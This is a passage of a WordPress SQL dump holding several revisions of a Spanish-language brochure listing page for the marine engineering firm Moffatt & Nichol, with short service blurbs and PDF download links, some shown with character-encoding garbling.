class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-EspaÃ±ol','','inherit','open','open','','1995-revision-2','','','2012-06-14 12:15:15','2012-06-14 12:15:15','',1995,'http://moffattnichol.com/spanish/1995-revision-2/',0,'revision','',0),(2430,1,'2012-06-14 12:31:50','2012-06-14 12:31:50','<div class=\"content_faq\">\n  <div class=\"brochure-wrapper-new\">\n    <h3>folletos-español</h3>\n    <br />\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\n        <br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        La reputación de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre años de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados en gestión de ingeniería y construcción para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Como una de las firmas especializadas en ingeniería y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación a nivel mundial<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n      Moffatt & Nichol se ha especializado en el planeamiento y el diseño de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda Norteamérica, Europa y Latinoamérica.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Las áreas costeras de hoy en día son catalizadores de la actividad económica. La práctica de Moffatt & Nichol en áreas costeras y marinas se estableció en la década de los 60, a medida que se incrementaba la popularidad de<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Moffatt & Nichol es una de las empresas de consultoría e ingeniería marítimas internacionales más grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseño de instalaciones relacionadas con ferries.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n    <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Reparación de astilleros y naves</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseño y la rehabilitación de astilleros e instalaciones para la reparación de buques.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Energía eólica</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafíos de los proyectos de desarrollo de energía eólica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n    <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    \n  </div>\n  </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n','Folletos-Español','','inherit','open','open','','1995-autosave','','','2012-06-14 12:31:50','2012-06-14 12:31:50','',1995,'http://moffattnichol.com/spanish/1995-autosave/',0,'revision','',0),(2431,1,'2012-06-14 12:15:31','2012-06-14 12:15:31','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingenierÃa y consultorÃa a la industria marÃtima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" 